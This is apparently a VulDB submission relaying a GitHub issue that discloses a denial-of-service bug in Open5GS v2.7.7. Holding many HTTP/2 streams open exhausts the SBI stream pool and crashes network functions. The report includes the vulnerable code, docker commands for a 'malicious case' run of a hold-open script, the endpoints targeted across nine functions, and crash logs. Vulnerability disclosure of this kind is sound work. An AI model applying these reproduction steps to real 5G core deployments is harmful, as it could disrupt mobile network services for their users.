| Название | Open5GS NRF/UDM/UDR/NSSF/BSF/PCF/AMF/AUSF/SMF v2.7.7 Denial of Service |
|---|
| Описание | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
Open5GS uses a shared nghttp2-based SBI server in
`../lib/sbi/nghttp2-server.c` across its HTTP/2 SBI network functions. During
request-header processing, the server allocates one `ogs_sbi_stream_t` from the
global `stream_pool` and one `ogs_sbi_request_t` from the global `request_pool`
before route dispatch:
```c
ogs_pool_id_calloc(&stream_pool, &stream);
if (!stream) {
ogs_error("ogs_pool_id_calloc() failed");
return NULL;
}
stream->request = ogs_sbi_request_new();
if (!stream->request) {
ogs_error("ogs_sbi_request_new() failed");
ogs_pool_id_free(&stream_pool, stream);
return NULL;
}
```
`on_begin_headers()` then unconditionally asserts that the allocation succeeded:
```c
stream = stream_add(sbi_sess, frame->hd.stream_id);
ogs_assert(stream);
```
The same pool sizing is initialized centrally for all SBI NFs:
```c
#define POOL_NUM_PER_UE 16
ogs_app()->pool.message = global_conf.max.ue * POOL_NUM_PER_UE;
ogs_app()->pool.stream = global_conf.max.ue * POOL_NUM_PER_UE;
```
Because allocation happens as soon as request headers arrive, the issue is not
limited to business flows that wait on an upstream NF. A client can keep large
numbers of HTTP/2 requests pending simply by opening streams with headers and
never finishing the request body. In Docker validation, that generic "hold-open"
pattern reproduced the same `on_begin_headers` assertion across every tested SBI
NF in the basic deployment.
### Root cause
- Shared crash site: `../lib/sbi/nghttp2-server.c:1629`
- Immediate allocation failure site: `../lib/sbi/nghttp2-server.c:758`
- Shared request-pool allocator: `../lib/sbi/message.c:253-256`
- Shared pool initialization: `../lib/sbi/context.c:46-48`
and `../lib/app/ogs-config.c:71-78`
- Bug class: stream / request pool exhaustion leading to assertion abort
- Controlling factor: number of concurrent HTTP/2 request streams left pending
after request headers are accepted
### Tested impact
The following SBI NFs were validated in Docker with the same hold-open
technique and all hit the same fatal assertion:
| NF | Test path | Observed result |
| --- | --- | --- |
| NRF | `/nnrf-nfm/v1/nf-instances` | Crashed with `on_begin_headers: Assertion 'stream' failed`, container exited `139` |
| UDM | `/nudm-ueau/v1/imsi-001010000000000/security-information/generate-auth-data` | Crashed with the same assertion, container exited `139` |
| UDR | `/nudr-dr/v1/subscription-data/imsi-001010000000000/authentication-data/authentication-subscription` | Crashed with the same assertion; container auto-restarted because of restart policy |
| NSSF | `/nnssf-nsselection/v1/network-slice-information` | Crashed with the same assertion, container exited `139` |
| BSF | `/nbsf-management/v1/pcfBindings` | Crashed with the same assertion, container exited `139` |
| PCF | `/npcf-smpolicycontrol/v1/sm-policies` | Crashed with the same assertion; container auto-restarted because of restart policy |
| AMF | `/namf-comm/v1/ue-contexts/1/n1-n2-messages` | Crashed with the same assertion; process aborted with exit `134` |
| AUSF | `/nausf-auth/v1/ue-authentications` | Crashed with the same assertion, container exited `139` |
| SMF | `/nsmf-pdusession/v1/sm-contexts` | Crashed with the same assertion, container exited `139` |
Notes:
- `UDR` and `PCF` were initially easy to misread as unaffected because their
containers were already back in `running` state when inspected. Their raw NF
logs clearly show the same `ogs_pool_id_calloc()` failure and
`on_begin_headers` fatal line before the automatic restart.
- `UPF` was not part of this impact set because it is not an SBI HTTP/2 NF.
- `SCP`, `SEPP`, `CHF`, and `NEF` were not live-tested in this Docker stack
because they were not running in the basic deployment, but they use the same
shared SBI server code path in source.
### Steps to reproduce
1. Control case on NRF: open a small number of incomplete HTTP/2 requests and
confirm the process stays up.
```bash
docker start nrf >/dev/null 2>&1 || true
docker run --rm --network open5gs \
-v /home/ubuntu/open5gs_277/.audit_tmp:/srv \
node:24-alpine \
sh -lc 'H2_CONNECTIONS=1 H2_STREAMS_PER_CONNECTION=10 H2_HOLD_MS=3000 \
node /srv/h2_hold_open.js nrf.open5gs.org 80 /nnrf-nfm/v1/nf-instances'
docker inspect -f '{{.State.Status}} {{.State.ExitCode}}' nrf
```
2. Malicious case: open many HTTP/2 streams, send request headers, and keep the
request bodies unfinished so the server-side stream and request objects stay
allocated.
```bash
docker start nrf >/dev/null 2>&1 || true
docker run --rm --network open5gs \
-v /home/ubuntu/open5gs_277/.audit_tmp:/srv \
node:24-alpine \
sh -lc 'H2_CONNECTIONS=32 H2_STREAMS_PER_CONNECTION=1024 H2_HOLD_MS=12000 \
node /srv/h2_hold_open.js nrf.open5gs.org 80 /nnrf-nfm/v1/nf-instances'
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nrf
docker logs --tail 20 nrf
```
3. To validate the cross-NF impact, rerun the same hold-open driver against the
other SBI services. During this audit the following targets were used:
```text
nrf /nnrf-nfm/v1/nf-instances
udm /nudm-ueau/v1/imsi-001010000000000/security-information/generate-auth-data
udr /nudr-dr/v1/subscription-data/imsi-001010000000000/authentication-data/authentication-subscription
nssf /nnssf-nsselection/v1/network-slice-information
bsf /nbsf-management/v1/pcfBindings
pcf /npcf-smpolicycontrol/v1/sm-policies
amf /namf-comm/v1/ue-contexts/1/n1-n2-messages
ausf /nausf-auth/v1/ue-authentications
smf /nsmf-pdusession/v1/sm-contexts
```
Raw artifacts from this run were saved under `/home/ubuntu/open5gs_277/.audit_tmp/`
including:
- `h2_hold_open.js`
- `all_nf_hold_open_results.tsv`
- `*_hold_open_stress.log`
- `*_hold_open_stress.nf.log`
### Logs
```shell
Control run on NRF:
remoteSettings maxConcurrentStreams=16384
{"authority":"http://nrf.open5gs.org:80","path":"/nnrf-nfm/v1/nf-instances","method":"POST","connections":1,"streamsPerConnection":10,"opened":10,"responses":0,"streamErrors":0,"sessionErrors":0,"holdMs":3000}
running 0
Representative malicious run on NRF:
{"authority":"http://nrf.open5gs.org:80","path":"/nnrf-nfm/v1/nf-instances","method":"POST","connections":32,"streamsPerConnection":1024,"opened":32768,"responses":0,"streamErrors":31744,"sessionErrors":31,"holdMs":12000}
04/23 02:47:30.323: [sbi] ERROR: ogs_pool_id_calloc() failed (../lib/sbi/nghttp2-server.c:758)
04/23 02:47:30.326: [sbi] FATAL: on_begin_headers: Assertion `stream' failed. (../lib/sbi/nghttp2-server.c:1629)
Representative malicious run on PCF showing the auto-restart caveat:
04/23 02:49:28.237: [sbi] ERROR: ogs_pool_id_calloc() failed (../lib/sbi/nghttp2-server.c:758)
04/23 02:49:28.237: [sbi] FATAL: on_begin_headers: Assertion `stream' failed. (../lib/sbi/nghttp2-server.c:1629)
Open5GS daemon v2.7.7
04/23 02:49:28.763: [app] INFO: Configuration: '/etc/open5gs/custom/pcf.yaml' (../lib/app/ogs-init.c:144)
04/23 02:49:28.786: [sbi] INFO: nghttp2_server() [http://pcf.open5gs.org]:80 (../lib/sbi/nghttp2-server.c:434)
Representative malicious run on AMF:
04/23 02:49:40.733: [sbi] ERROR: ogs_pool_id_calloc() failed (../lib/sbi/nghttp2-server.c:758)
04/23 02:49:40.733: [sbi] FATAL: on_begin_headers: Assertion `stream' failed. (../lib/sbi/nghttp2-server.c:1629)
/usr/local/bin/entrypoint.sh: line 10: 7 Aborted (core dumped) open5gs-amfd "${@}"
```
### Expected behaviour
Open5GS should reject excess incomplete or concurrent HTTP/2 requests with a normal transport or application-layer error and should never abort the entire NF process when the shared SBI stream or request pools are exhausted.
### Observed Behaviour
Across every live-tested SBI NF in the basic Docker deployment, a client could exhaust the shared SBI stream pool by sending many HTTP/2 requests whose headers were accepted but whose bodies were never finished. Once pool allocation failed, the NF hit `on_begin_headers`' `ogs_assert(stream)` and crashed. Depending on container restart policy, the visible effect was either process exit (`139` or `134`) or a crash immediately followed by automatic restart.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
|---|
| Источник | ⚠️ https://github.com/open5gs/open5gs/issues/4474 |
|---|
| Пользователь | ZiyuLin (UID 93568) |
|---|
| Представление | 04.05.2026 05:06 (1 месяц назад) |
|---|
| Модерация | 29.05.2026 19:15 (26 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 367295 [Open5GS до 2.7.7 nghttp2-server.c ogs_pool_id_calloc отказ в обслуживании] |
|---|
| Баллы | 20 |
|---|